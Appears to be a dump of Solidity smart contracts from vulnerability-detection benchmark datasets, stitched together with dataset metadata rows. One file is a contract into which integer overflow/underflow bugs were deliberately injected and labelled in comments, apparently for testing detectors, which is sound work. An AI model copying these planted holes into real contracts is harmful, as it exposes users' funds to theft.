function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function processRound(uint round) internal {
// Token left for each round must be greater than 0
require(roundTokenLeft[round]>0);
var tokenCanBeBought = (msg.value*10**uint(decimals)*etherExRate*(100+roundBonus[round])).div(100*10**18);
if (tokenCanBeBought<roundTokenLeft[round]) {
balances[owner] = balances[owner] - tokenCanBeBought;
balances[msg.sender] = balances[msg.sender] + tokenCanBeBought;
roundTokenLeft[round] = roundTokenLeft[round]-tokenCanBeBought;
if (mapInvestors[msg.sender] > 0) {
// if investors already existed, add amount to the invested sum
investors[mapInvestors[msg.sender]-1].amount += msg.value;
} else {
uint ind = investors.push(Investor(msg.sender, msg.value, false));
mapInvestors[msg.sender] = ind;
}
} else {
var neededEtherToBuy = (10**18*roundTokenLeft[round]*100).div(10**uint(decimals)).div(etherExRate*(100+roundBonus[round]));
balances[owner] = balances[owner] - roundTokenLeft[round];
balances[msg.sender] = balances[msg.sender] + roundTokenLeft[round];
roundTokenLeft[round] = 0;
if (mapInvestors[msg.sender] > 0) {
// if investors already existed, add amount to the invested sum
investors[mapInvestors[msg.sender]-1].amount += neededEtherToBuy;
} else {
uint index = investors.push(Investor(msg.sender, neededEtherToBuy, false));
mapInvestors[msg.sender] = index;
}
// send back ether to sender
msg.sender.transfer(msg.value-neededEtherToBuy);
}
}
// ------------------------------------------------------------------------
// Accept ETH for this crowdsale
// ------------------------------------------------------------------------
function () public payable {
require(!icoEnded);
uint currentTime = now;
require (currentTime>icoStartDate);
require (msg.value>= minInvest && msg.value<=maxInvest);
if (currentTime<roundEnd[0]) {
processRound(0);
} else if (currentTime<roundEnd[1]) {
processRound(1);
} else if (currentTime<roundEnd[2]) {
processRound(2);
} else if (currentTime<roundEnd[3]) {
processRound(3);
} else {
// crowdsale ends, check success conditions
if (this.balance<softcap) {
// time to send back funds to investors
for(uint i = 0; i<investors.length; i++) {
investors[i].sender.transfer(investors[i].amount);
}
} else {
// send un-sold tokens to reward address
require(rewardPoolWallet != address(0));
uint sumToBurn = roundTokenLeft[0] + roundTokenLeft[1] + roundTokenLeft[2] + roundTokenLeft[3];
balances[owner] = balances[owner] - sumToBurn;
balances[rewardPoolWallet] += sumToBurn;
roundTokenLeft[0] = roundTokenLeft[1] = roundTokenLeft[2] = roundTokenLeft[3] = 0;
}
// give back ETH to sender
msg.sender.transfer(msg.value);
icoEnded = true;
}
}
function withdrawEtherToOwner() onlyOwner public {
require(now>roundEnd[3] && this.balance>softcap);
owner.transfer(this.balance);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
| 185,242 | 13,282 |
0509d6258686699ff2948951209317029da3ae3ca9d4663073b3aa9b64f9c4e2
| 17,402 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Integer_overflow_and_underflow/Sol/buggy_44.sol
| 4,522 | 16,318 |
pragma solidity ^0.5.0;
contract EventMetadata {
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
}
contract Operated {
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug //Integer_overflow_and_underflow bug
}
address private _operator;
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
bool private _status;
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
}
contract ProofHashes {
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
event HashFormatSet(uint8 hashFunction, uint8 digestSize);
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event HashSubmitted(bytes32 hash);
// state functions
function _setMultiHashFormat(uint8 hashFunction, uint8 digestSize) internal {
// emit event
emit HashFormatSet(hashFunction, digestSize);
}
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function _submitHash(bytes32 hash) internal {
// emit event
emit HashSubmitted(hash);
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
contract MultiHashWrapper {
// bytes32 hash first to fill the first storage slot
struct MultiHash {
bytes32 hash;
uint8 hashFunction;
uint8 digestSize;
}
function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) {
bytes memory out = new bytes(34);
out[0] = byte(multihash.hashFunction);
out[1] = byte(multihash.digestSize);
uint8 i;
for (i = 0; i < 32; i++) {
out[i+2] = multihash.hash[i];
}
return out;
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
}
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(bytes calldata, bytes32 salt) external view returns (address instance);
function getNextInstance(bytes calldata) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract Template {
mapping(address => uint) balances_intou34;
function transfer_intou34(address _to, uint _value) public returns (bool) {
require(balances_intou34[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou34[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou34[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function getFactory() public view returns (address factory) {
factory = _factory;
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
contract Feed is ProofHashes, MultiHashWrapper, Operated, EventMetadata, Template {
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event Initialized(address operator, bytes multihash, bytes metadata);
function initialize(address operator,
bytes memory multihash,
bytes memory metadata) public initializeTemplate() {
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// add multihash to storage
if (multihash.length != 0) {
// unpack multihash
MultiHashWrapper.MultiHash memory multihashObj = MultiHashWrapper._splitMultiHash(multihash);
// set multihash format
ProofHashes._setMultiHashFormat(multihashObj.hashFunction, multihashObj.digestSize);
// submit hash
ProofHashes._submitHash(multihashObj.hash);
}
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, multihash, metadata);
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
// state functions
function submitHash(bytes32 multihash) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// add multihash to storage
ProofHashes._submitHash(multihash);
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function setMetadata(bytes memory metadata) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// set metadata
EventMetadata._setMetadata(metadata);
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
}
| 224,035 | 13,283 |
47f41f902311f8df1d8d68f110c87713ad77980423c909e9bae94cc371daf80b
| 13,337 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbcd7964eb52f25a134a5a2f38e28dd9a45039857.sol
| 3,649 | 13,055 |
pragma solidity ^0.4.25;
contract IRightAndRoles {
address[][] public wallets;
mapping(address => uint16) public roles;
event WalletChanged(address indexed newWallet, address indexed oldWallet, uint8 indexed role);
event CloneChanged(address indexed wallet, uint8 indexed role, bool indexed mod);
function changeWallet(address _wallet, uint8 _role) external;
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool);
}
contract RightAndRoles is IRightAndRoles {
constructor (address[] _roles) public {
uint8 len = uint8(_roles.length);
require(len > 0 &&len <16);
wallets.length = len;
for(uint8 i = 0; i < len; i++){
wallets[i].push(_roles[i]);
roles[_roles[i]] += uint16(2)**i;
emit WalletChanged(_roles[i], address(0),i);
}
}
function changeClons(address _clon, uint8 _role, bool _mod) external {
require(wallets[_role][0] == msg.sender&&_clon != msg.sender);
emit CloneChanged(_clon,_role,_mod);
uint16 roleMask = uint16(2)**_role;
if(_mod){
require(roles[_clon]&roleMask == 0);
wallets[_role].push(_clon);
}else{
address[] storage tmp = wallets[_role];
uint8 i = 1;
for(i; i < tmp.length; i++){
if(tmp[i] == _clon) break;
}
require(i > tmp.length);
tmp[i] = tmp[tmp.length];
delete tmp[tmp.length];
}
roles[_clon] = _mod?roles[_clon]|roleMask:roles[_clon]&~roleMask;
}
function changeWallet(address _wallet, uint8 _role) external {
require(wallets[_role][0] == msg.sender || wallets[0][0] == msg.sender || (wallets[2][0] == msg.sender && _role == 0));
emit WalletChanged(wallets[_role][0],_wallet,_role);
uint16 roleMask = uint16(2)**_role;
address[] storage tmp = wallets[_role];
for(uint8 i = 0; i < tmp.length; i++){
roles[tmp[i]] = roles[tmp[i]]&~roleMask;
}
delete wallets[_role];
tmp.push(_wallet);
roles[_wallet] = roles[_wallet]|roleMask;
}
function onlyRoles(address _sender, uint16 _roleMask) view external returns(bool) {
return roles[_sender]&_roleMask != 0;
}
function getMainWallets() view external returns(address[]){
address[] memory _wallets = new address[](wallets.length);
for(uint8 i = 0; i<wallets.length; i++){
_wallets[i] = wallets[i][0];
}
return _wallets;
}
function getCloneWallets(uint8 _role) view external returns(address[]){
return wallets[_role];
}
}
contract GuidedByRoles {
IRightAndRoles public rightAndRoles;
constructor(IRightAndRoles _rightAndRoles) public {
rightAndRoles = _rightAndRoles;
}
}
contract BaseIterableDubleToken{
uint8 public withdrawPriority;
uint8 public mixedType;
uint256[2] public supply = [0,0];
struct Item {
uint256 index;
uint256 value;
}
address[][] items = [[address(0)],[address(0)]];
mapping (uint8 => mapping (address => Item)) balances;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Mint(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event changeBalance(uint8 indexed tokenType, address indexed owner, uint256 newValue);
function totalSupply() view public returns(uint256){
return supply[0] + supply[1];
}
function balanceOf(address _who) view public returns(uint256) {
return getBalance(0,_who) + getBalance(1,_who);
}
function transfer(address _to, uint256 _value) public returns (bool){
internalTransfer(msg.sender,_to,_value);
return true;
}
function getBalance(uint8 _type ,address _addr) view public returns(uint256){
return balances[_type][_addr].value;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value;
internalTransfer(_from, _to, _value);
emit Approval(_from, msg.sender, allowed[_from][msg.sender]);
return true;
}
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
uint256 _tmpAllowed = allowed[msg.sender][_spender] + _addedValue;
require(_tmpAllowed >= _addedValue);
allowed[msg.sender][_spender] = _tmpAllowed;
emit Approval(msg.sender, _spender, _tmpAllowed);
return true;
}
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
require(allowed[msg.sender][_spender] >= _subtractedValue);
allowed[msg.sender][_spender] -= _subtractedValue;
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function internalMint(uint8 _type, address _account, uint256 _value) internal {
require(totalSupply() + _value >= _value);
supply[_type] += _value;
uint256 _tmpBalance = getBalance(_type,_account) + _value;
emit Mint(_account,_value);
setBalance(_type,_account,_tmpBalance);
}
function internalBurn(uint8 _type, address _account, uint256 _value) internal {
uint256 _tmpBalance = getBalance(_type,_account);
require(_tmpBalance >= _value);
_tmpBalance -= _value;
emit Burn(_account,_value);
setBalance(_type,_account,_tmpBalance);
}
function setBalance(uint8 _type ,address _addr, uint256 _value) internal {
address[] storage _items = items[_type];
Item storage _item = balances[_type][_addr];
if(_item.value == _value) return;
emit changeBalance(_type, _addr, _value);
if(_value == 0){
uint256 _index = _item.index;
delete balances[_type][_addr];
_items[_index] = _items[items.length - 1];
balances[_type][_items[_index]].index = _index;
_items.length = _items.length - 1;
}else{
if(_item.value == 0){
_item.index = _items.length;
_items.push(_addr);
}
_item.value = _value;
}
}
function internalSend(uint8 _type, address _to, uint256 _value) internal {
uint8 _tmpType = (mixedType > 1) ? mixedType - 2 : _type;
uint256 _tmpBalance = getBalance(_tmpType,_to);
require(mixedType != 1 || _tmpBalance > 0);
if(_tmpType != _type){
supply[_type] -= _value;
supply[_tmpType] += _value;
}
setBalance(_tmpType,_to,_tmpBalance + _value);
}
function internalTransfer(address _from, address _to, uint256 _value) internal {
require(balanceOf(_from) >= _value);
emit Transfer(_from,_to,_value);
uint8 _tmpType = withdrawPriority;
uint256 _tmpValue = _value;
uint256 _tmpBalance = getBalance(_tmpType,_from);
if(_tmpBalance < _value){
setBalance(_tmpType,_from,0);
internalSend(_tmpType,_to,_tmpBalance);
_tmpType = (_tmpType == 0) ? 1 : 0;
_tmpValue = _tmpValue - _tmpBalance;
_tmpBalance = getBalance(_tmpType,_from);
}
setBalance(_tmpType,_from,_tmpBalance - _tmpValue);
internalSend(_tmpType,_to,_tmpValue);
}
function getBalancesList(uint8 _type) view external returns(address[] _addreses, uint256[] _values){
require(_type < 3);
address[] storage _items = items[_type];
uint256 _length = _items.length - 1;
_addreses = new address[](_length);
_values = new uint256[](_length);
for(uint256 i = 0; i < _length; i++){
_addreses[i] = _items[i + 1];
_values[i] = getBalance(_type,_items[i + 1]);
}
}
}
contract FreezingToken is BaseIterableDubleToken, GuidedByRoles {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
constructor(IRightAndRoles _rightAndRoles) GuidedByRoles(_rightAndRoles) public {}
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function masFreezedTokens(address[] _beneficiary, uint256[] _amount, uint256[] _when) public {
require(rightAndRoles.onlyRoles(msg.sender,3));
require(_beneficiary.length == _amount.length && _beneficiary.length == _when.length);
for(uint16 i = 0; i < _beneficiary.length; i++){
freeze storage _freeze = freezedTokens[_beneficiary[i]];
_freeze.amount = _amount[i];
_freeze.when = _when[i];
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender) + _value);
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from) + _value);
return super.transferFrom(_from,_to,_value);
}
}
contract managedToken is FreezingToken{
uint256[2] public mintLimit = [101000000 ether, 9000000 ether];
uint256[2] public totalMint = [0,0];
string public constant name = "ALE";
string public constant symbol = "ALE";
uint8 public constant decimals = 18;
constructor(IRightAndRoles _rightAndRoles) FreezingToken(_rightAndRoles) public {}
function internalMint(uint8 _type, address _account, uint256 _value) internal {
totalMint[_type] += _value;
require(totalMint[_type] <= mintLimit[_type]);
super.internalMint(_type,_account,_value);
}
function setup(uint8 _withdrawPriority, uint8 _mixedType) public {
require(rightAndRoles.onlyRoles(msg.sender,3));
require(_withdrawPriority < 2 && _mixedType < 4);
mixedType = _mixedType;
withdrawPriority = _withdrawPriority;
}
function massMint(uint8[] _types, address[] _addreses, uint256[] _values) public {
require(rightAndRoles.onlyRoles(msg.sender,3));
require(_types.length == _addreses.length && _addreses.length == _values.length);
for(uint256 i = 0; i < _types.length; i++){
internalMint(_types[i], _addreses[i], _values[i]);
}
}
function massBurn(uint8[] _types, address[] _addreses, uint256[] _values) public {
require(rightAndRoles.onlyRoles(msg.sender,3));
require(_types.length == _addreses.length && _addreses.length == _values.length);
for(uint256 i = 0; i < _types.length; i++){
internalBurn(_types[i], _addreses[i], _values[i]);
}
}
function distribution(uint8 _type, address[] _addresses, uint256[] _values, uint256[] _when) public {
require(rightAndRoles.onlyRoles(msg.sender,3));
require(_addresses.length == _values.length && _values.length == _when.length);
uint256 sumValue = 0;
for(uint256 i = 0; i < _addresses.length; i++){
sumValue += _values[i];
uint256 _value = getBalance(_type,_addresses[i]) + _values[i];
setBalance(_type,_addresses[i],_value);
emit Transfer(msg.sender, _addresses[i], _values[i]);
if(_when[i] > 0){
_value = balanceOf(_addresses[i]);
freeze storage _freeze = freezedTokens[_addresses[i]];
_freeze.amount = _value;
_freeze.when = _when[i];
}
}
uint256 _balance = getBalance(_type, msg.sender);
require(_balance >= sumValue);
setBalance(_type,msg.sender,_balance-sumValue);
}
}
contract Creator{
IRightAndRoles public rightAndRoles;
managedToken public token;
constructor() public{
address[] memory tmp = new address[](3);
tmp[0] = address(this);
tmp[1] = msg.sender;
tmp[2] = 0x19557B8beb5cC065fe001dc466b3642b747DA62B;
rightAndRoles = new RightAndRoles(tmp);
token=new managedToken(rightAndRoles);
}
}
| 164,783 | 13,284 |
3ca6c35193cdd24fbf5385988125f4564042045fa4de959e2e03395fb0306e70
| 25,060 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x2706165b57e8d91f0282a4fa919b810e8103ab86.sol
| 4,306 | 15,603 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic _token,
address _to,
uint256 _value)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(ERC20 _token,
address _from,
address _to,
uint256 _value)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(ERC20 _token,
address _spender,
uint256 _value)
internal
{
require(_token.approve(_spender, _value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
